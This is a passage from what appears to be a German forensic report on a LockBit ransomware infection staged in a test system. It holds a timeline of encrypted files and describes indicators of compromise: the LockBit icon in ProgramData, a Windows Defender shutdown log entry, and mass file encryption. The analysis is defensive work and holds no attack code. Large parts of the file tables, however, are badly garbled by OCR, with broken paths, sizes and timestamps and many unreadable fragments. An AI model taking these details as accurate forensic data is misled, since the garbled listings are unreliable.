| Microsoft AutoGenerated {SED6C76F-C47B-C8BF-8E0B-B63B2F6FFI1D}bN...| 36,4 KB|bni7onlq9  [30.07.2023 01:30:51 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
[B|Microsoft AutoGenerated {167485E1-D123-CECD-406D-B29582B57B49}.bN..| 36,5 KB|bni7onlqg9 _ [30.07.2023 01:30:51 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
[B[Microsoft AutoGenerated {FF2C1107-7183-E8BE-2B8E-E6D666AC2655}.bNi
IB[Microsoft GetHelp_8wekyb3d8bbwe!App.bNi7oNLq9 [ 80KBbni7onlq9 |
[ Mi _Bi i 3 YApp.bNi7
[B|Microsoft_InternetExplorer DefaultbNi7oNLg9 " 364 KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[B|Microsoft_Getstarted_8wekyb3d8bbwe!App.bNi7oNLq9 [ 80KB[bni7onlg9 |

Ml(rosoft_Miuo>oﬁ0fﬁceHub_° wvekyb3d8| bwe!Microsoﬁ_MlcrosoﬁOffice‘ Pfad unbekannt\Verzeichnis mit ID 107321
Mlcrosoft Mluosoﬂ’DVlewer 8wel deubb\”e'Mlcro'oﬂ Micr >0ft DView...| 80 KB[bni7Onlq9 _|30.07.2023 01:30:51 +2|\Pfad unbekannt\Verzeichnis mit ID 107321 |
icr s 3d8bbwelMicrosoft_Microsoft3DView...| 8,0 KBJbni7Onlq9 _[30.07:2023 01:30:51 +

.| 80KB[bni7Onlq9_[30.07.2023 01:30:51 +2|\Pfad unbekannt\Verzeichnis mit ID 107321

.| 80KB[bni7Onlg9 _[30.07.2023 01:30:51 +2|\Pfad unbekannt\Verzeichnis mit ID 107321

.300 2023 01 Jo-m \Pfad unbekannt\\’erzeichnis mit ID 107321

’007202’ 07J0»51 *'
’007 2023 01:3051 +
0 |

_

8‘0 KBbm7onI9 30 07,2023 01 3 1 " \Pfad unbekannt\Verzeichnis mit ID 707321

U,ers\Forenqk INApp Data\LocaI\Packaqe s\Microsoft

-
U
[B[Microsoft WindowisCalculator Bwekyb3d8bbwe!App.bNi7oNLGD
[ Microsoft WindowsCamera_8wekyb3d8bbwe!App.bNi7oNLq9
36,4 KBbm70nl9 30.07.2023 01 +2|\Users\Forensik INAppData\Local\Packages\Microsoft
“007202“ 01 ¥
i . 30.07.2023 01 \Users\Forensik I\AppData\Local\Packages\Microsoft.
“0 07.2023 01:30:51 +2|\Users\Forensik INAppData\Local\Packages\Microsoft
] 3007.2023 01 +
[BMicrosoft Windows ComputerbNi7oNL@9 | 364 KB[bni7onlq9 _[30.07.2023 01 2[\Users\Forensik INAppData\Local\Packages\Microsoft.
IB[Microsoft WindowsSoundRecorder_8wekyb3d8bbwe!App.bNi7oNLq9
[l Microsoft WindowsStore 8wekyb3d8bbwelAppbNi7oNLg9 [~ 80KBJbni7onlq9 [30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[B|Microsoft YourPhone_8wekyb3d8bbwe!AppbNi7oNL@9 [~ 80KB[bni7onlg9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[ Microsoft XboxApp_8wekyb3d8bbwelMicrosoft XboxApp.bNi7oNL@9 [~ 80KB[bni7onlg9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[W]Microsoft Windows_SecHealthUI_cwSnTh2bxyewy!SecHealthULbNi7oNLg9 | 8,0 KB[bni7onlg9 [30.07:2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
W] Microsoft Windows Photos_8wekyb3d8bbwe!App.bNi7oNLq9
W Microsoft Windows MediaPlayer32.bNi7oNLq9
] 3007.2023 01:3051 +2
[B]Microsoft Windows Shell RunDialog.bNi7oNLq9 —— —"364KB[bni7onlq9 _[30.07.2023 01:30:51
30072029 01:3051 +

07.2023 01:30:51 + Pfad unbekannt\Verzelchms mit ID 107321
80 K m7on|q U,ers\Forenqkll\AData\LocaI\Packaqe \Microsoft.
_
I/ (1AC14E77-02E7-4E5D-B744-2EBTAES198B7)_charmap_exebNi7oNLq9 [ 364 KBbni7onlq9 [30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[ Microsoft ZuneMusic_8wekyb3d8bbwe!Microsoft ZuneMusicbNi7oNLq9 | 80 KB[bni7onlg9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[ (TACT4E77-02E7-4ESD-B744-2EBTAES198B7)_cleanmgr_exebNi7oNLg9 | 364 KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[/ (TACTAE77-02E7-4ESD-B744-2EBTAES198B7) cmd_exebNi7oNLq9 | 364 KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[ (TACTAE77-02E7-4ESD-B744-2EBTAES 198B7)_comexp_msc.bNi7oNLG9
I/ (TACTAE77-02E7-4E5D-B744-2EBTAES 198B7)_magnify_exe.bNi7oNLq9
[B[(1ACT14E77-02E7-4E5D-B744-2EBTAES198B7}_iscsiq bNi 30.07.2023 01:30:51 +
[ (TACT4E77-02E7-4E5D-B744-2EBTAES198B7)_msconfig_exebNi7oNLq9 | 364 KBlbni7onlq9 [30.07:2023 01:30:51 +
I8l TAC14E77-02E7-4E5D-B744-2EB1AES198B7) _narrator_exe.bNi7oNLq9 [ 364 KBJbni7onlq9 [30.07.2023 01:30:51 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
I/ (1ACT4E77-02E7-4ESD-B744-2EBTAES 198B7) MdSched exebNi7oNLq9 [ 364 KBlbni7onlq9 [30.07.2023 01:30:51 +
[B]{ 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_msinfo32_exe.bNi7oNLq9 \Users\ForensiklI\AData\LocaI\.Packaqes\Microsof‘t
I/ (1ACT4E77-02E7-4E5D-B744-2EBTAES198B7)_mspaint_exe.bNi7oNLq9
U
(1AC74E77 02E7- 4ESD 3744 2531/-\5519837',nntmanaqemem msc.bNi7o. .
B {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_notepad_exe.bNi7oNLq9
[/ (TACTAE77-02E7-4ESD-B744-2EBTAES198B7) services mscbNi7oNLg9 | 364 KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[/ (TACTAE77-02E7-4ESD-B744-2EBTAES198B7)_psr_exebNi7oNLa9 | 364 KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[/ (TACTAE77-02E7-4ESD-B744-2EBTAES198B7)_odbcad32_exe bNi7oNLG9
[ (TACT4E77-02E7-4E5D-B744-2EBTAES198B7) osk_exebNi7oNLg9 | 364 KBlbni7onlqd  [30.07:2023 01:30:51 +2|\Users\Forensik INAppData\Local\Packages\Microsoft
I (TACT4E77-02E7-4E5D-B744-2EBTAES198B7) RecoveryDrive_exe.bNi7oNLq9 [ 364 KB]bni7onlqd [30.07:2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
IB|{(1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_quickassist_exe.bNi7oNLq9 30.07.2023 01 1 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
(1AC74E77 0257 4E5D-B744-, 2EB1AE519887‘ ingTool_exe. bN17oNL9 )o 07.2023 01:30: 51 + U,ers\ForenfikII\AData\LocaI\Packaes\Microsoft‘
! _

_ Pfad unbekannt\\’erzelchm mit ID 107’21

[ 365KB[ [30.07. 202* 01 osz 2[\Pfad unbekannt\Verzeichnis mit ID 107321
b _

2

3 2 \ \
[ 36,5 KB|bni7onlg9 _ [30.07.2023 01:30:52 +2|\Pfad unbekannt\Verzeichnis mit ID 107321
{6! 09377 6AFO 444B- 8957 A’77 FOZZOOE‘ 36,5 KBIbni7onlg9 130.07.2023 01:30:52 +2/\Users\Forensik II\AppData\Local\Packages\Microsoft.

Abbildung 29: Zeitliche Abfolge der Datenbestandsverinderung (Fortsetzung)
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Auswertung des Versuchs

I Name I GroBe | Typ~ . Anderung ~ | Pfad
[I](D65231B0-B2F1-4857-A4CE-ABE7C6EA7D27)_odbcad32_exebNi7oNLg9 [ 364 KBlbnizonlqd [30.07.2023 01:30:52 +2[\Users\Forensik II\AppData\Local\Packages\Microsoft.
I/{(1ACT4E77-02E7-4E5D-B744-2EBTAES198B7) WFS exebNi7oNLq9 [ 364 KBJbni7onlq9 [30.07.2023 01:30:52 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[W]{D65231B0-B2F1-4857-A4CE-ASE7C6EA7D27} WindowsPowerShell_vi_0_po
W] TACTAE77-02E7-4E5D-B744-2EBTAES198B7; WindowsPowerShell v 0 Po...| 365 KB[bni7onlq9  [30.07.2023 01 2 +
(1AC74E77 02E7-4E5D-B744-2EB1AE5198B7}_WindowsPowerShell_v1_0_po. 30.07,2023 01 2+
:

30:52

2

36,5 KB|bni7onlq9 _ [30.07.2023 01:30:52 +2|\Pfad unbekannt\Verzeichnis mit ID 107321
.| 36,5 KB|bni7onlg9 [30.07.2023 01 2|\Users\Forensik INAppData\Local\Packages\Microsoft.
7 7 I 3

..{ 36, 9 .2023 2\l a \Verze S )
512 KB|bni7onlg9  (30.07.2023 01:30:52 \Users\Forensik INAppData\Local\Packages\Microsoft.

[Wledbres0000TjrsbNiToNLg9 " 572 KB[bni7oniq9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
]
’F388F404~ D43- 42F2 9305-67DEOB28FC23} i
’007202’ 013052
WindexedDBjfmbNi7oNLg9 | 162 KB|bni7onlq9__[30.07.2023 01:30:52 *
]
Wledbres00002jrsbNi7oNLg9 [ 512 KB[bnionlg9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft!
D edbjtx . 1,0 MB edblog 3007.2023 01:30:52  \ProgramData\Microsoft\Search\Data\Applications\W
() edb00006,jtx . 1,0 MB edblog 3007.2023 01:30:52  \ProgramData\Microsoft\Search\Data\Applications\W
[_JMicrosoft-! Wlndows RestanManager‘)MOpelatlonaI.evtx 68,0 KBev!x 3007.2023 01 052 \Wmdows\SystemSZ\wmevl’\Logs
[BCacheStoragejfmbNi7oNLg9 116> KBlbnionlq9 _[30,07.2023 01:30:52 - J\Users\Forensik INAppData\Local\Packages\Microsoft
[W|CacheStorageedbbNi7oNLg9 " 1,5 MBJbni7onlq9_[30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft
-__
[WFrameNavigationServiceStatexmlbNi7oNLa9 " 0,6 KB[bni7onlg9 _[30.07:2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[B]MediaDb.vlsqlitebNi7oNLq9 " 42KB[bni7onlg9 _[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[B|MediaDbyTsqliteshmbNifoNLg9 17322 KB[bni7onlq9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[|MediaDbysqlitewalbNi7oNLg9 "2 8MB[bni7onlq9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[WPhotosAppTracingetlbNi7oNlg9 """ 128 KB[bni7onlq9 _[30.07.2023 01:30:52 +
WlsettingsdatbNi7oNlg9 " 82 KB[bnionlq9 _[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
WlsettingsdatbNi7oNlg9 [ 82 KB[bnionlq9 [30.07.2023 01:30:52
WlsettingsdatbNi7oNlg9 [ 82KB[bnionlq9 [30.07.2023 01:30:52
Wsettings.datbNi7oNLq9 185 KB|bni7onlq9 _[30.07.2023 01:30:52 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
WsettingsdatbNi7oNLg9 [ 82KBlbnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\ AppData\Local\Packages\Microsoft
WsettingsdatbNi7oNLg9 [ 128KB[bnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft
[W|725246c0af7b441faade413c80bfbaad TONi7oNL@Q9 [ 20KB[bni7onlg9 _[30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft

[Wlc72e296572€04563a9d3580bbcc14aba_TONi7oNL@9 [ 20KB[bni7onlg9 _[30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[W[1690570899bNi7ToNLq9 " 64KB[bni7onlg9 _[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
W[1690570899bNi7oNLg9 " 64KB[bni7onlg9 |
W[1690570897bNi7ToNLq9 T 286 KB[bni7onlq9 _[30.07:2023 01:30:52 +2
] 1021061-04a1-46ec-9525-fab57175870.up_meta_securebNi7oNLg9 | 0,8KB[bni7onlq9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
W] 1c5af13c-ef68-405e-Oce7-22balfab4525.up_meta_securebNi7oNL@9 | 0.8 KB[bni7onlq9 [30.07.2023 01:30:52
|4 181b43-6931-4d02-ad72-2427d9a52036.up_meta_secure.bNi7oNLq9 | 0,8KBlbni7onlq9 _ [30.07.2023 01:30:52 - 2|\Users\Forensik INAppData\Local\Packages\Microsoft.
[]4c70e1f3-46f1-488a-92a2-4711b2a12525.1265aa8¢-d8e3-4231-963e-0912¢... | 1,6 KB|bni7oniq9  [30.07.2023 01:30:52 -+
I[2ab3b021-4b35-4104-9537-25e9ac27fe72.down_data.bNi7oNLq9 [ 1,3 MBlbni7onlqg9 _ [30.07.2023 01:30:52 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
IB22b36021-4b35-4104-9537-25e9ac27fe72.up_meta_secure.bNi7oNLq9
IB|22b36021-4b35-4104-9537-25e9ac27fe72.b2a8d25a-ec85-4e45-8955-9¢e77...
IB]4c70e173-46f1-488a-92a2-4711b2a12525.up_meta_secure.oNi7oNLq9
[B678669e9-4f4b-44b5-b338-bfe60e9alaaa.down_data.bNi7oNLq9
[I|678669e9-4f4b-44b5-b338-bfe60e%a1aaa.up_meta_secure.oNi7oNLq9
|7051c716-d9cf-4655-9026-2525cbbf7390.up_meta_secure.oNi7oNLq9 0,8 KB|bni7onlq9 _ [30.07.2023 01:30:52 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.}
[We3fecB9c-ead9-4aa2-8b19-eda2cf6619a1.b723ba2b-50a2-4618-8d13-19205... 1,6 KB[bni7onlg9 [30.07:2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[W4c70e173-46f1-488a-92a2-4711b2a12525.down _databNi7oNLq9 | 1.TMBbni7onlq9 _[30.07.2023 01 +2|\Users\Forensik INAppData\Local\Packages\Microsoft
[I7906480e-3942-4737-9354-aebe6dd46ade.51a3b12d-216f-405c-a3b2-50ae... | 1,6 KB|bni7oniq9 _ [30.07.2023 01 -
7906480e-3942-4737-9354-aebebdd46a8e.up_meta_secure.bNi7oNLg9 | 0,8KBbni7onlq9 _ [30.07.2023 01 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
[W]e3fec89c-ea99-4aa2-8b19-eda2cf66f9al.up_meta_secure.bNi7oNLq9 [ 0,8KBbni7onlq9 _ [30.07.2023 01:30:52 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
|70 116ff2-caa0-4d01-9391-c2277e50be9d.up_meta_secure.bNi7oNLq9 | 0.8KBbni7onlq9 _[30.07.2023 01 +2
[I7906480e-3942-4737-9354-aebeb6dd46a8e.down databNi7oNLg9 | 1.3 MB[bni7onlq9 _[30.07.2023 01 2[\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNlg9 " 82KBJbnifonlq9 [30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft
[Wle3fec89c-ead9-4aa2-8b19-eda2cf66f9al.down databNi7oNLg9 [ 1.2 MBJbni7onlq9  [30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNlg9 " 82KB[bni7onlg9__[30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNlg9 " 82KB[bni7onig9__[30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNLg9 " 82KB[bni7onlg9 _[30.07:2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNLq9 " 82KB[bni7onlg9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNLq9 " 82KB[bni7onlq9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNLlg9 " "82KB[bni7onlq9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
WjsettingsdatbNi7oNLlg9 " 82 KB[bni7onlq9_[30.07.2023 01:30:52 +
2
2

WlsettingsdatbNiZoNlg9 [ 82KB[bnionlq9 [30.07.2023 0T ¥
30-07»2023 01:30:52 +
WlsettingsdatbNi7oNlg9 [ 82KB[bnionlq9 [30.07.2023 01:30:52 +2| Uaers\FOrenﬂk TNAp Data\Local\Packaqe \Microsoft
WsettingsdatbNi7oNLg9 [ 82KB[bnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft.{

__
__
:]
Wldtiskey.derbNi7oNLqg9 — " 1,6KB[bni7onlq9 [30.07.2023 01:30:52 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
WsaveUllogdatabNifoNLg9 " 249 B[bni7onlq9 [30.07.2023 01:30:52 +2[\Users\Forensik INAppDataLocal\Packages\Microsoft
BICS shared.confbNi7oNLq9 " 249 B[bni7onlq9 _[30.07.2023 01:30:52
WFirstTimeSignindatabNi7oNlg9 " 256 B[bnionlq9 _[30.07.2023 01:30:52
W[SkypeAppO.btbNi7oNlg9 [ 244 KB[bni7onlq9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
WlsettingsdatbNi7oNlg9 [ 82KB[bnionlq9 [30.07.2023 01:30:52
WlsettingsdatbNi7oNlg9 [ 82KB[bnionlq9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNLg9 [ 82KB[bnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft4
WsettingsdatbNi7oNLg9 [ 82KBlbnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNlg9 " [" 82KBbnizonlq9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft}
[lsettings datbNi7oNLq9
WlsettingsdatbNi7oNlg9 " 82KB[bni7onlq9 [30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
W[UserClassesdatbNifoNLg9 |~ 82KB[bni7onlq9 [30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
B[UserdatbNi7oNLg9 " 82KB[bni7onlq9 [30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
WlsettingsdatbNi7oNlg9 " "82KB[bnionlq9_[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft |
WisquaretilepngbNi7oNLg9 " 17KB[bnionlq9 _[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft |
[Wsettings.datbNi7oNLq@ " 82KBbnifoniq9 [30.07.2023 01 2 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft.
WlsquaretilepngbNi7oNLq@ 1" 26KB|bni7oniq9 [30.07.2023 01:30:52 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
WltinytilepngbNi7oNLg9 [ 18KB[bnionlq9 [30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
WisquaretilepngbNi7oNLg9 [ 18KB[bnionlq9 [30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft
WltinytilepngbNi7oNLg9 [ 1.3KBlbnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft
WltinytilepngbNi7oNLlg9 [ 1.3KBlbnizonlq9 [3007.2023 01:30:52 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft |
WtinytilepngbNi7oNLg9 [ 1.8KBJbni7onlq9 [30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft}
WlsquaretilepngbNi7oNLq9 " [" 26KBJbni7onlq9 [30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft}
WlsettingsdatbNi7oNlg9 " [" 82KBbnizonlq9 [30.07.2023 01:30:52 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[Blsettings.datbNi7oNLgo [ 82 KBlbni7onlgd_[30.07.2023 01:30:52 +2\Users\Forensik INAppData\Local\Packages\Microsoft

Abbildung 30: Zeitliche Abfolge der Datenbestandsverinderung (Fortsetzung)
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WlsettingsdatbNi7oNLgd [ 82KBJbni7onlg9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft |
[WlsettingsdatbNi7oNLgd """ 87 KB[bni7onlq9__[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNLlg9 "8 5 KB[bni7onlq9__[30.07.2023 01:30:52 +2|\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNlg9 " 82KBbni7onlq9_[30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNLg9 " 82KBbni7onlq9_[30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNLg9 [ 82KBJbnizonlq9 _[30.07.2023 01:30:52 +
WsettingsdatbNi7oNlg9 " 82KBbniZonlq9 _[30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNlg9 " 82KBbniZonlq9 _[30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft}
WsettingsdatbNi7oNlg9 " [" 82KBbnifonlq9 _[30.07.2023 01:30:52_+2[\Users\Forensik INAppData\Local\Packages\Microsoft.}
[Wlsettings.datbNi7oNLq9
[WlsettingsdatbNi7oNLgd " [" 82 KB[bni7onlq9 _[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft}
[WsettingsdatbNi7oNLg9 " " "8 KB[bni7onlq9 [30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft]
[WsettingsdatbNi7oNLg9 " " "8 KB[bni7onlq9 _[30.07.2023 01:30:52_+2\Users\Forensik INAppData\Local\Packages\Microsoft ]
[WsettingsdatbNi7oNLq9 " "8 KB[bni7onlq9 _[30.07.2023 01:30:53 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNLq9 "8 3KB[bni7onlq9__[30.07.2023 01:30:53 +2\Users\Forensik INAppData\Local\Packages\F46D4000]
WfsettingsdatbNi7oNLg9 "85 KBbnizonlq9 _[30.07.2023 01:30:53 +2|\Users\Forensik INAppData\Local\Packages\E2A4F912
WjsettingsdatbNi7oNLlg9 " 82 KB[bni7onlq9_[30.07.2023 01:30:53 + \User‘s\FOrensikll\AData\Local\Packaes\c5e2524a—
‘007202’ 01 ¥
]
B ResultReportxmibNi7oNIGy | 30,4 KBlbni7onlg9 _[3007.2023 0T:305
[W|NetworkDiagnostics debugreportxmlbNi7oNlg9 [ 63 KBJbni7onlq9 [30.07.2023 01
u
481 K nr7onl9
BResultReportxmlbN7oNlg9 | ’007202’ 01:
:]
F3E84AB4—D45A—41E5—86867E08987F5C795Di nose.0.etl.oNi7oNLq9 30‘07,2023 01 3 —'
3
“007202’ or: 3 ¥
] \U;ers\Fonenfuk INApp Data\ Local\Diag nost|c5\46091 1 |
3007202’ 01 S’ G

iesulis xml BNI7oNLg9 | 5 kBlbnifonla? _|3007.2023 01
U 30.07.2023 01:30:5
3138] %B

Ac .db.

WlActivitiesCache.db-shmbNi7ToNlqg9 " 322KB] .07.2023
[WActivitiesCachedb-walbNi7oNLg9 | 255B[bni7onlq9 [30.07.2023 01 +~2\Users\Forensik INAppData\Local\ConnectedDevicesPl
WistorejfmbNi7oNLlg9 [ 162 KB[bnionlq9_[30.07.2023 01 ¥
W|USSjcpbNi7ToNlq9 1" 82KBlbni7oniq9_[30.07.2023 01:30:53 +2|\Users\Forensik INAppData\Local\Comms\UnistoreDB
WAggregateCacheucabNi7oNLq9 T""248 Blbni7onlq9__[30.07.2023 01:30:53 +2[\Users\Forensik INAppData\Local\Comms\Unistore\da
WistorevolbNi7oNLlg9 ——————— —[" 60 MB[bni7onlq9_[30.07.2023 0T "
WIUSSixbNi7oNLg9 | 30MBlbni7onlq9 [30.07.2023 01:30:53 +
IIUSSres00001 jrs bNi

= - 07 3 : =

. 61,6 KBdb 30.07.2023 01:30:54  \Users\Forensik IN\AppData\Local\Microsoft\Windows\

\Pfad unbekannt\Verzeichnis mit ID 1073;

\Pfad unbekannt\Verzeichnis mit ID 107. 341

.;O 07. 20 \Pfad unbekannt\Verzeichnis mit ID 10732

30‘07»2023 01 : 5 G
36,1 KB bmp 30.07.2023 01:30:55  \Users\Forensik INAppData\Local\Packages\Microsoft.

thumbcache 30.07.2023 01:30:55

| 361KBbmp  [30.07.2023 01 \Pfad unbekannt\Verzeichnis mit ID 107321

300 2023 01:3i \Pfad unbekanmwerzeichm mit ID 107321

. Pfad unbekanm\‘/euelchnm mit ID 107321

fad unbekannt\Verzeichnis mit ID 107321

.‘ fad unbekannt\Verzeichnis mit ID 107321
-

[ 361KBbmp  [30.07.2023 01:30:55 +2|\Pfad unbekannt\Verzeichnis mit ID 107321
.| 36,1KB[bmp —13007.2023 01:30:55 +
. 813KB .. 3007.2023 01:30:56  \Users\Forensik INAppData\Local\Packages\Microsoft)

[£]bNi7oNLq9.bmp X 6  \ProgramData
] TranscodedWallpaper 4 904KB jpg 30.07.2023 01:31:16  \Users\Forensik INAppData\

Abbildung 31: Zeitliche Abfolge der Datenbestandsverinderung (Fortsetzung)

Als Beginn des Angriffes wurde der erste IOC angenommen, die Platzierung des
LockBit-lcons im ProgramData-Verzeichnis zur Lokalzeit 30.07.2023 01:30:50
+2, nach der Platzierung des LockBit-Hintergrundbildes um 30.07.2023 01:31:16
+2 sind weitere Dateiveranderungen nicht direkt auf die Ausfihrung der

Schadsoftware zuriickzufiinren.

Folgende Indicators of Compromise (IOCs) konnten im Zuge der forensischen

Post-Mortem-Auswertung festgestellt werden:
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8.1.2.1 10C: Platzierung des Lockbit-lcons

Als erster identifizierbarer Indicator of Compromise wurde das LockBit-lcon unter

dem Pfad \ProgramData\ gespeichert:
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Veranderungen an der Systemregistrierung sind in einer
Post-Mortem-Analyse durch im Arbeitsspeicher ausgefuhrte
reg-Dateien  schwer nachvollziehbar oder zeitlich
einzuordnen, es ist jedoch wahrscheinlich, dass im Zuge
dessen auch die Zufugung des Registrierungsschlussels fur
die durch den Angreifer vorgegebene Dateiendung
.bNi70oNIq9 vorgenommen wurde. Dieser Dateiendung wird
dann das LockBit-lcon zugewiesen, um verschlusselte

Dateien auch visuell zu markieren.



Auswertung des Versuchs

8.1.2.2 10C: Deaktivierung des Windows-Defenders

Im Zuge der ursprunglichen LockBit-Verbreitung als Zero-Day-Exploit war die
Schadsoftware in der Lage, den Windows-Defender zu deaktivieren sowie die
Benutzerkontensteuerung zu umgehen. Da Angriffe durch LockBit mittlerweile
erfolgreich von der ins Betriebssystem integrierten Sicherheitslosung
abgefangen werden, war die manuelle Deaktivierung in der Testumgebung
ohnehin notwendig, die Log-Dateien des Windows-Defenders verzeichnen
jedoch zum Zeitpunkt des Angriffes die Abschaltung des Schutzes:

2023-07-29T723:30:51.364Z COM server shutdown.

2023-07-29T23:30:51.364Z Unloaded module#0 MpComServer.

Microsoft Defender Antivirus (77BDAF73-B396-481F-9042-AD358843EC24) Log
Stopped On 07-30-2023 01:30:51 (Exit Code = 0x0)

Abbildung 32: Auzug des Windows-Defender-Systemprotokolles
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8.1.2.3 10C: Verschliisselung/Léschung von Nutzer- und Systemdateien

Das primare Ziel eines Ransomware-Angriffes besteht in der Verschlisselung
(und gegebenenfalls dem illegalen Kopieren) von Nutzerdaten, um sie dem
Zugriff des entsprechenden Benutzers zu entziehen, eine Freigabe kann in der

Regel gegen Zahlung eines Losegeldes erwirkt werden.

Im Zuge des Angriffes durch LockBit auf unserem Testsystem wurden neben den
gelb dargestellten Testdaten eine Vielzahl von Systemdateien verschlUsselt.
Diese Verschlisselungsmallnahme schrankt den Benutzer bei der
Weiterverwendung des Systems stark ein, da viele nicht direkt zum
Betriebssystem oder fiur die Startfahigkeit nicht relevante Systemdateien wie
Nutzereinstellungen oder mitgelieferte Apps sowie Links zu diesen (siehe rot
markierte Eintrage). Insgesamt wurden auf diese Weise 319 existente Dateien im

Benutzerordner durch Verschlisselung unbrauchbar gemacht:

[Wsettings.datbNi7oNLq9 " hUsers\Forensik II\AppData\Local\Packages\microsoftwindowscommunicationsapps_8wel
[WlsettingsdatbNi7oNLg9 " \Users\Forensik INAppData\Local\Packages\MicrosoftWindowsFeedbackHub_8wekyb3d8bH}
